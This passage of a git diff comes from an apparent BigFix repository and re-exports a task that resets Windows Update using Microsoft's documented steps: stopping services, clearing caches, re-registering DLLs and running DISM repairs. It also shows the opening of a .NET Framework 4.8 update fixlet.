-Del /q "%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\qmgr*.dat"
-
-rd /s /q %Systemroot%\SoftwareDistribution\DataStore.bak
-rd /s /q %Systemroot%\SoftwareDistribution\Download.bak
-rd /s /q %Systemroot%\system32\catroot2.bak
-
-Ren %Systemroot%\SoftwareDistribution\DataStore DataStore.bak
-Ren %Systemroot%\SoftwareDistribution\Download Download.bak
-Ren %Systemroot%\System32\catroot2 catroot2.bak
-
-sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
-sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
-
-
-cd /d %windir%\system32
-regsvr32.exe /s atl.dll
-regsvr32.exe /s urlmon.dll
-regsvr32.exe /s mshtml.dll
-regsvr32.exe /s shdocvw.dll
-regsvr32.exe /s browseui.dll
-regsvr32.exe /s jscript.dll
-regsvr32.exe /s vbscript.dll
-regsvr32.exe /s scrrun.dll
-regsvr32.exe /s msxml.dll
-regsvr32.exe /s msxml3.dll
-regsvr32.exe /s msxml6.dll
-regsvr32.exe /s actxprxy.dll
-regsvr32.exe /s softpub.dll
-regsvr32.exe /s wintrust.dll
-regsvr32.exe /s dssenh.dll
-regsvr32.exe /s rsaenh.dll
-regsvr32.exe /s gpkcsp.dll
-regsvr32.exe /s sccbase.dll
-regsvr32.exe /s slbcsp.dll
-regsvr32.exe /s cryptdlg.dll
-regsvr32.exe /s oleaut32.dll
-regsvr32.exe /s ole32.dll
-regsvr32.exe /s shell32.dll
-regsvr32.exe /s initpki.dll
-regsvr32.exe /s wuapi.dll
-regsvr32.exe /s wuaueng.dll
-regsvr32.exe /s wuaueng1.dll
-regsvr32.exe /s wucltui.dll
-regsvr32.exe /s wups.dll
-regsvr32.exe /s wups2.dll
-regsvr32.exe /s wuweb.dll
-regsvr32.exe /s qmgr.dll
-regsvr32.exe /s qmgrprxy.dll
-regsvr32.exe /s wucltux.dll
-regsvr32.exe /s muweb.dll
-regsvr32.exe /s wuwebv.dll
-
-sc config bits start= demand
-net start bits
-
-sc config wuauserv start= demand
-net start wuauserv
-
-sc config cryptsvc start= auto
-net start cryptsvc
-_EOF_EOF_EOF
-
-delete cleanup.cmd
-move __createfile cleanup.cmd
-
-waithidden cmd.exe /c "cleanup.cmd > "{parameter "LogFolder"}\windows-update-cleanup.txt" 2>&1"
-
-// DISM Pending Component Updates Reset
-delete __createfile
-createfile until EOF_EOF_EOF
-@echo DISM repair running %DATE% %TIME%
-
-@echo Kill any running WUSA update
-taskkill.exe /im wusa.exe /f
-
-@echo Package list before servicing:
-dism /online /get-packages /format:table
-
-@echo Removing any Pending Package installations via DISM
-for /f %%i in ('dism /online /get-packages /format:table ^|findstr " Pending ^|"') do dism.exe /online /remove-package /PackageName:%%i /NoRestart
-@echo DISM command ended with result code %ERRORLEVEL%
-
-@echo Package list after servicing:
-dism /online /get-packages /format:table
-
-
-
-@echo DISM repair completed %DATE% %TIME%
-
-EOF_EOF_EOF
-
-delete DISM-repair.cmd
-move __createfile DISM-repair.cmd
-
-delete "{parameter "LogFolder"}\DISM-RemovePending.log"
-waithidden cmd.exe /c "DISM-repair.cmd >> "{parameter "LogFolder"}\DISM-RemovePending.log" 2>&1"
-
-
-
-delete "{parameter "LogFolder"}\DISM-RestoreHealth.log"
-delete "{parameter "LogFolder"}\DISM-RestoreHealth.out"
-
-waithidden cmd /C "DISM.EXE /LogPath:"{parameter "LogFolder"}\DISM-RestoreHealth.log" /LogLevel:4 /NoRestart /Online /Cleanup-Image /RestoreHealth > "{parameter "LogFolder"}\DISM-RestoreHealth.out" 2>&1"
-
-
-action requires restart "windows_update_reset"
-
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action28432">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to attempt repair with a specific Windows Installation Source.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-action parameter query "RepairSource" with description "Enter the path of trusted Windows files to be used for repair" and with default value "C:\Windows-Media-Source"
-
-parameter "LogFolder"="{pathname of windows folder}\temp"
-folder create "{parameter "LogFolder"}"
-
-// Windows Update Store Cleanup & Windows Update Components Reset
-delete __createfile
-createfile until _EOF_EOF_EOF
-
-taskkill /im wusa.exe /f
-net stop bits
-net stop wuauserv
-net stop cryptsvc
-
-_EOF_EOF_EOF
-delete precleanup.cmd
-move __createfile precleanup.cmd
-waithidden cmd.exe /c precleanup.cmd
-
-
-// Check that everything *actually* stopped.  Disable service and kill processes if necessary
-
-if {exists pids of services "wuauserv"}
- waithidden sc.exe config wuauserv start= disabled
- waithidden taskkill.exe /pid {pids of services "wuauserv"} /F
-endif
-
-if {exists pids of services "bits"}
- waithidden sc.exe config bits start= disabled
- waithidden taskkill.exe /pid {pids of services "bits"} /F
-endif
-
-if {exists pids of services "cryptsvc"}
- waithidden sc.exe config cryptsvc start= disabled
- waithidden taskkill.exe /pid {pids of services "cryptsvc"} /F
-endif
-
-delete __createfile
-createfile until _EOF_EOF_EOF
-
-Del /q "%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\qmgr*.dat"
-
-rd /s /q %Systemroot%\SoftwareDistribution\DataStore.bak
-rd /s /q %Systemroot%\SoftwareDistribution\Download.bak
-rd /s /q %Systemroot%\system32\catroot2.bak
-
-Ren %Systemroot%\SoftwareDistribution\DataStore DataStore.bak
-Ren %Systemroot%\SoftwareDistribution\Download Download.bak
-Ren %Systemroot%\System32\catroot2 catroot2.bak
-
-sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
-sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
-
-
-cd /d %windir%\system32
-regsvr32.exe /s atl.dll
-regsvr32.exe /s urlmon.dll
-regsvr32.exe /s mshtml.dll
-regsvr32.exe /s shdocvw.dll
-regsvr32.exe /s browseui.dll
-regsvr32.exe /s jscript.dll
-regsvr32.exe /s vbscript.dll
-regsvr32.exe /s scrrun.dll
-regsvr32.exe /s msxml.dll
-regsvr32.exe /s msxml3.dll
-regsvr32.exe /s msxml6.dll
-regsvr32.exe /s actxprxy.dll
-regsvr32.exe /s softpub.dll
-regsvr32.exe /s wintrust.dll
-regsvr32.exe /s dssenh.dll
-regsvr32.exe /s rsaenh.dll
-regsvr32.exe /s gpkcsp.dll
-regsvr32.exe /s sccbase.dll
-regsvr32.exe /s slbcsp.dll
-regsvr32.exe /s cryptdlg.dll
-regsvr32.exe /s oleaut32.dll
-regsvr32.exe /s ole32.dll
-regsvr32.exe /s shell32.dll
-regsvr32.exe /s initpki.dll
-regsvr32.exe /s wuapi.dll
-regsvr32.exe /s wuaueng.dll
-regsvr32.exe /s wuaueng1.dll
-regsvr32.exe /s wucltui.dll
-regsvr32.exe /s wups.dll
-regsvr32.exe /s wups2.dll
-regsvr32.exe /s wuweb.dll
-regsvr32.exe /s qmgr.dll
-regsvr32.exe /s qmgrprxy.dll
-regsvr32.exe /s wucltux.dll
-regsvr32.exe /s muweb.dll
-regsvr32.exe /s wuwebv.dll
-
-sc config bits start= demand
-net start bits
-
-sc config wuauserv start= demand
-net start wuauserv
-
-sc config cryptsvc start= auto
-net start cryptsvc
-_EOF_EOF_EOF
-
-delete cleanup.cmd
-move __createfile cleanup.cmd
-
-waithidden cmd.exe /c "cleanup.cmd > "{parameter "LogFolder"}\windows-update-cleanup.txt" 2>&1"
-
-// DISM Pending Component Updates Reset
-delete __createfile
-createfile until EOF_EOF_EOF
-@echo DISM repair running %DATE% %TIME%
-
-@echo Kill any running WUSA update
-taskkill.exe /im wusa.exe /f
-
-@echo Package list before servicing:
-dism /online /get-packages /format:table
-
-@echo Removing any Pending Package installations via DISM
-for /f %%i in ('dism /online /get-packages /format:table ^|findstr " Pending ^|"') do dism.exe /online /remove-package /PackageName:%%i /NoRestart
-@echo DISM command ended with result code %ERRORLEVEL%
-
-@echo Package list after servicing:
-dism /online /get-packages /format:table
-
-
-
-@echo DISM repair completed %DATE% %TIME%
-
-EOF_EOF_EOF
-
-delete DISM-repair.cmd
-move __createfile DISM-repair.cmd
-
-delete "{parameter "LogFolder"}\DISM-RemovePending.log"
-waithidden cmd.exe /c "DISM-repair.cmd >> "{parameter "LogFolder"}\DISM-RemovePending.log" 2>&1"
-
-
-
-delete "{parameter "LogFolder"}\DISM-RestoreHealth.log"
-delete "{parameter "LogFolder"}\DISM-RestoreHealth.out"
-
-waithidden cmd /C "DISM.EXE /LogPath:"{parameter "LogFolder"}\DISM-RestoreHealth.log" /LogLevel:4 /NoRestart /Online /Cleanup-Image /RestoreHealth /Source:"{parameter "RepairSource" of action}" /LimitAccess > "{parameter "LogFolder"}\DISM-RestoreHealth.out" 2>&1"
-
-action requires restart "windows_update_reset"
-
-]]></ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Troubleshooting: Reset Windows Update, Pending Updates, and DISM Repair
+  ID       : 27344
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2024-05-14T10:13:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Troubleshooting: Reset Windows Update, Pending Updates, and DISM Repair</Title>
+    <Description><![CDATA[<P><STRONG>USE WITH CAUTION</STRONG></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">This Task performs several cleanup operations to attempt to resolve failing Windows Updates.&nbsp; This should be used with care, and only on systems that are failing to install updates after all other troubleshooting steps have been taken, consider this a last effort before reimaging the problem machine.&nbsp; Making system changes, especially to an already-broken system, may further corrupt the system.&nbsp; Backup any important data before running this task!</P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">This Task</P>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Attempts to clear cached Windows Update data to resolve cases where Windows Updates fail to install due to a corruption of the SoftwareDistribution folder.</DIV>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Performs&nbsp;the steps described at the following article, including steps that are associated with corrupt Windows Update components.</DIV>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt"><A href="https://support.microsoft.com/en-us/help/971058/how-do-i-reset-windows-update-components"><FONT color=#0000ff size=3 face="Times New Roman">https://support.microsoft.com/en-us/help/971058/how-do-i-reset-windows-update-components</FONT></A></DIV>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Logs Generated:</DIV>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">\Windows\Temp\windows-update-cleanup.txt</DIV></LI></UL></LI></UL></LI></UL>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Attempts to remove any Pending component installations</DIV>
+<UL>
+<LI>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">Logs Generated:</P>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">
+<UL>
+<LI>\Windows\Temp\DISM-RemovePending.log </LI></UL></DIV>
+<P>&nbsp;</P></LI></UL>
+<LI>
+<P>Attempts Windows Component Store Cleanup</P>
+<UL>
+<LI>
+<P>DISM.EXE /Online /Cleanup-Image /RestoreHealth /Quiet /NoReboot</P>
+<LI>
+<P><A href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/deployment/fix-windows-update-errors"><FONT color=#0066cc>https://docs.microsoft.com/en-us/troubleshoot/windows-server/deployment/fix-windows-update-errors</FONT></A></P>
+<LI>
+<P>Logs Generated:</P>
+<UL>
+<LI>\Windows\Temp\DISM-RestoreHealth.out
+<LI>\Windows\Temp\DISM-RestoreHealth.log</LI></UL></LI></UL></LI></UL>
+<P>The Second action allows specifying a path to a trusted set of Windows installation files to be used to perform a repair, if original Windows installation files are required, for example 'C:\Windows-Media-Source'.&nbsp; The path should be accessible to the LocalSystem WIndows account (network UNC shares are generally not accessible and the media should be copied to a client path before running the action).</P>
+<P>&nbsp;&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6.2"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2023-10-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 May 2024 17:10:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to attempt repair without specifying an Installation Source.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "LogFolder"="{pathname of windows folder}\temp"
+folder create "{parameter "LogFolder"}"
+
+// Windows Update Store Cleanup & Windows Update Components Reset
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+taskkill /im wusa.exe /f
+net stop bits
+net stop wuauserv
+net stop cryptsvc
+
+_EOF_EOF_EOF
+delete precleanup.cmd
+move __createfile precleanup.cmd
+waithidden cmd.exe /c precleanup.cmd
+
+
+// Check that everything *actually* stopped.  Disable service and kill processes if necessary
+
+if {exists pids of services "wuauserv"}
+ waithidden sc.exe config wuauserv start= disabled
+ waithidden taskkill.exe /pid {pids of services "wuauserv"} /F
+endif
+
+if {exists pids of services "bits"}
+ waithidden sc.exe config bits start= disabled
+ waithidden taskkill.exe /pid {pids of services "bits"} /F
+endif
+
+if {exists pids of services "cryptsvc"}
+ waithidden sc.exe config cryptsvc start= disabled
+ waithidden taskkill.exe /pid {pids of services "cryptsvc"} /F
+endif
+
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+Del /q "%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\qmgr*.dat"
+
+rd /s /q %Systemroot%\SoftwareDistribution\DataStore.bak
+rd /s /q %Systemroot%\SoftwareDistribution\Download.bak
+rd /s /q %Systemroot%\system32\catroot2.bak
+
+Ren %Systemroot%\SoftwareDistribution\DataStore DataStore.bak
+Ren %Systemroot%\SoftwareDistribution\Download Download.bak
+Ren %Systemroot%\System32\catroot2 catroot2.bak
+
+sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+
+
+cd /d %windir%\system32
+regsvr32.exe /s atl.dll
+regsvr32.exe /s urlmon.dll
+regsvr32.exe /s mshtml.dll
+regsvr32.exe /s shdocvw.dll
+regsvr32.exe /s browseui.dll
+regsvr32.exe /s jscript.dll
+regsvr32.exe /s vbscript.dll
+regsvr32.exe /s scrrun.dll
+regsvr32.exe /s msxml.dll
+regsvr32.exe /s msxml3.dll
+regsvr32.exe /s msxml6.dll
+regsvr32.exe /s actxprxy.dll
+regsvr32.exe /s softpub.dll
+regsvr32.exe /s wintrust.dll
+regsvr32.exe /s dssenh.dll
+regsvr32.exe /s rsaenh.dll
+regsvr32.exe /s gpkcsp.dll
+regsvr32.exe /s sccbase.dll
+regsvr32.exe /s slbcsp.dll
+regsvr32.exe /s cryptdlg.dll
+regsvr32.exe /s oleaut32.dll
+regsvr32.exe /s ole32.dll
+regsvr32.exe /s shell32.dll
+regsvr32.exe /s initpki.dll
+regsvr32.exe /s wuapi.dll
+regsvr32.exe /s wuaueng.dll
+regsvr32.exe /s wuaueng1.dll
+regsvr32.exe /s wucltui.dll
+regsvr32.exe /s wups.dll
+regsvr32.exe /s wups2.dll
+regsvr32.exe /s wuweb.dll
+regsvr32.exe /s qmgr.dll
+regsvr32.exe /s qmgrprxy.dll
+regsvr32.exe /s wucltux.dll
+regsvr32.exe /s muweb.dll
+regsvr32.exe /s wuwebv.dll
+
+sc config bits start= demand
+net start bits
+
+sc config wuauserv start= demand
+net start wuauserv
+
+sc config cryptsvc start= auto
+net start cryptsvc
+_EOF_EOF_EOF
+
+delete cleanup.cmd
+move __createfile cleanup.cmd
+
+waithidden cmd.exe /c "cleanup.cmd > "{parameter "LogFolder"}\windows-update-cleanup.txt" 2>&1"
+
+// DISM Pending Component Updates Reset
+delete __createfile
+createfile until EOF_EOF_EOF
+@echo DISM repair running %DATE% %TIME%
+
+@echo Kill any running WUSA update
+taskkill.exe /im wusa.exe /f
+
+@echo Package list before servicing:
+dism /online /get-packages /format:table
+
+@echo Removing any Pending Package installations via DISM
+for /f %%i in ('dism /online /get-packages /format:table ^|findstr " Pending ^|"') do dism.exe /online /remove-package /PackageName:%%i /NoRestart
+@echo DISM command ended with result code %ERRORLEVEL%
+
+@echo Package list after servicing:
+dism /online /get-packages /format:table
+
+
+
+@echo DISM repair completed %DATE% %TIME%
+
+EOF_EOF_EOF
+
+delete DISM-repair.cmd
+move __createfile DISM-repair.cmd
+
+delete "{parameter "LogFolder"}\DISM-RemovePending.log"
+waithidden cmd.exe /c "DISM-repair.cmd >> "{parameter "LogFolder"}\DISM-RemovePending.log" 2>&1"
+
+
+
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.log"
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.out"
+
+waithidden cmd /C "DISM.EXE /LogPath:"{parameter "LogFolder"}\DISM-RestoreHealth.log" /LogLevel:4 /NoRestart /Online /Cleanup-Image /RestoreHealth > "{parameter "LogFolder"}\DISM-RestoreHealth.out" 2>&1"
+
+
+action requires restart "windows_update_reset"
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28432">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to attempt repair with a specific Windows Installation Source.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+action parameter query "RepairSource" with description "Enter the path of trusted Windows files to be used for repair" and with default value "C:\Windows-Media-Source"
+
+parameter "LogFolder"="{pathname of windows folder}\temp"
+folder create "{parameter "LogFolder"}"
+
+// Windows Update Store Cleanup & Windows Update Components Reset
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+taskkill /im wusa.exe /f
+net stop bits
+net stop wuauserv
+net stop cryptsvc
+
+_EOF_EOF_EOF
+delete precleanup.cmd
+move __createfile precleanup.cmd
+waithidden cmd.exe /c precleanup.cmd
+
+
+// Check that everything *actually* stopped.  Disable service and kill processes if necessary
+
+if {exists pids of services "wuauserv"}
+ waithidden sc.exe config wuauserv start= disabled
+ waithidden taskkill.exe /pid {pids of services "wuauserv"} /F
+endif
+
+if {exists pids of services "bits"}
+ waithidden sc.exe config bits start= disabled
+ waithidden taskkill.exe /pid {pids of services "bits"} /F
+endif
+
+if {exists pids of services "cryptsvc"}
+ waithidden sc.exe config cryptsvc start= disabled
+ waithidden taskkill.exe /pid {pids of services "cryptsvc"} /F
+endif
+
+delete __createfile
+createfile until _EOF_EOF_EOF
+
+Del /q "%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\qmgr*.dat"
+
+rd /s /q %Systemroot%\SoftwareDistribution\DataStore.bak
+rd /s /q %Systemroot%\SoftwareDistribution\Download.bak
+rd /s /q %Systemroot%\system32\catroot2.bak
+
+Ren %Systemroot%\SoftwareDistribution\DataStore DataStore.bak
+Ren %Systemroot%\SoftwareDistribution\Download Download.bak
+Ren %Systemroot%\System32\catroot2 catroot2.bak
+
+sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
+
+
+cd /d %windir%\system32
+regsvr32.exe /s atl.dll
+regsvr32.exe /s urlmon.dll
+regsvr32.exe /s mshtml.dll
+regsvr32.exe /s shdocvw.dll
+regsvr32.exe /s browseui.dll
+regsvr32.exe /s jscript.dll
+regsvr32.exe /s vbscript.dll
+regsvr32.exe /s scrrun.dll
+regsvr32.exe /s msxml.dll
+regsvr32.exe /s msxml3.dll
+regsvr32.exe /s msxml6.dll
+regsvr32.exe /s actxprxy.dll
+regsvr32.exe /s softpub.dll
+regsvr32.exe /s wintrust.dll
+regsvr32.exe /s dssenh.dll
+regsvr32.exe /s rsaenh.dll
+regsvr32.exe /s gpkcsp.dll
+regsvr32.exe /s sccbase.dll
+regsvr32.exe /s slbcsp.dll
+regsvr32.exe /s cryptdlg.dll
+regsvr32.exe /s oleaut32.dll
+regsvr32.exe /s ole32.dll
+regsvr32.exe /s shell32.dll
+regsvr32.exe /s initpki.dll
+regsvr32.exe /s wuapi.dll
+regsvr32.exe /s wuaueng.dll
+regsvr32.exe /s wuaueng1.dll
+regsvr32.exe /s wucltui.dll
+regsvr32.exe /s wups.dll
+regsvr32.exe /s wups2.dll
+regsvr32.exe /s wuweb.dll
+regsvr32.exe /s qmgr.dll
+regsvr32.exe /s qmgrprxy.dll
+regsvr32.exe /s wucltux.dll
+regsvr32.exe /s muweb.dll
+regsvr32.exe /s wuwebv.dll
+
+sc config bits start= demand
+net start bits
+
+sc config wuauserv start= demand
+net start wuauserv
+
+sc config cryptsvc start= auto
+net start cryptsvc
+_EOF_EOF_EOF
+
+delete cleanup.cmd
+move __createfile cleanup.cmd
+
+waithidden cmd.exe /c "cleanup.cmd > "{parameter "LogFolder"}\windows-update-cleanup.txt" 2>&1"
+
+// DISM Pending Component Updates Reset
+delete __createfile
+createfile until EOF_EOF_EOF
+@echo DISM repair running %DATE% %TIME%
+
+@echo Kill any running WUSA update
+taskkill.exe /im wusa.exe /f
+
+@echo Package list before servicing:
+dism /online /get-packages /format:table
+
+@echo Removing any Pending Package installations via DISM
+for /f %%i in ('dism /online /get-packages /format:table ^|findstr " Pending ^|"') do dism.exe /online /remove-package /PackageName:%%i /NoRestart
+@echo DISM command ended with result code %ERRORLEVEL%
+
+@echo Package list after servicing:
+dism /online /get-packages /format:table
+
+
+
+@echo DISM repair completed %DATE% %TIME%
+
+EOF_EOF_EOF
+
+delete DISM-repair.cmd
+move __createfile DISM-repair.cmd
+
+delete "{parameter "LogFolder"}\DISM-RemovePending.log"
+waithidden cmd.exe /c "DISM-repair.cmd >> "{parameter "LogFolder"}\DISM-RemovePending.log" 2>&1"
+
+
+
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.log"
+delete "{parameter "LogFolder"}\DISM-RestoreHealth.out"
+
+waithidden cmd /C "DISM.EXE /LogPath:"{parameter "LogFolder"}\DISM-RestoreHealth.log" /LogLevel:4 /NoRestart /Online /Cleanup-Image /RestoreHealth /Source:"{parameter "RepairSource" of action}" /LimitAccess > "{parameter "LogFolder"}\DISM-RestoreHealth.out" 2>&1"
+
+action requires restart "windows_update_reset"
+
+]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes b/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes
index 2a0025eaa..0b80c8c2c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/UPDATE_ Microsoft .NET Framework 4.8 Available - Windows 7 SP1 _ Windows 8.1 _ Windows 10 _ Windows Server 2008 R2 SP1 _ Windows Server 2012 _ Windows Server 2012 R2 _ Windows Server 2016 _ Windows Server 2019 (26631).bes	
@@ -1,86 +1,86 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : UPDATE: Microsoft .NET Framework 4.8 Available - Windows 7 SP1 / Windows 8.1 / Windows 10 / Windows Server 2008 R2 SP1 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016 / Windows Server 2019
-  ID       : 26631
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2019-06-14T11:37:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>UPDATE: Microsoft .NET Framework 4.8 Available - Windows 7 SP1 / Windows 8.1 / Windows 10 / Windows Server 2008 R2 SP1 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016 / Windows Server 2019</Title>
-    <Description><![CDATA[<DIV class=FixletMessage>
-<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>The Microsoft .NET Framework 4.8 is a highly compatible, in-place update to the Microsoft .NET Framework 4, Microsoft .NET Framework 4.5, Microsoft .NET Framework 4.5.1, Microsoft .NET Framework 4.5.2, Microsoft .NET Framework 4.6, Microsoft .NET Framework 4.6.1, Microsoft .NET Framework 4.6.2, Microsoft .NET Framework 4.7, Microsoft .NET Framework 4.7.1, and Microsoft .NET Framework 4.7.2. The offline package can be used in situations where the web installer cannot be used due to lack of internet connectivity.<BR><BR>After downloading and installing this update, affected computers will no longer be susceptible to this vulnerability.<BR><BR><STRONG><FONT color=#ff0000>Important Note:</FONT></STRONG> There are known issues associated with the installation of this update. See the Known Issues section of the Knowledge Base Article for more information.</P>
-<P><B>Note:</B> Affected computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.</P></TD></TR></TBODY></TABLE></DIV>
-<DIV class=FixletProperty>
-<H4>File Size:</H4>69.3 MB </DIV>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>not ia64 of operating system</Relevance>
-    <Relevance>(((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1) OR (((name of it = &quot;Win8.1&quot; OR name of it = &quot;Win8&quot; AND value &quot;CurrentVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string is &quot;6.3&quot;) OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot;) AND service pack major version of it = 0) OR (name of it = &quot;Win10&quot; OR (it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of it AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) OR ((((it starts with &quot;Win20&quot; or it = &quot;Win2016&quot; or it = &quot;Win2019&quot;) of name of it AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) AND service pack major version of it = 0))) of operating system</Relevance>
-    <Relevance><![CDATA[not exists key "HKLM\Software\Microsoft\NET Framework Setup\NDP\v4" of native registry OR exists key "HKLM\Software\Microsoft\NET Framework Setup\NDP\v4" whose (not exists key "Full" of it OR exists key "Full" whose (not exists value "Release" of it OR value "Release" of it < 528049) of it) of native registry]]></Relevance>
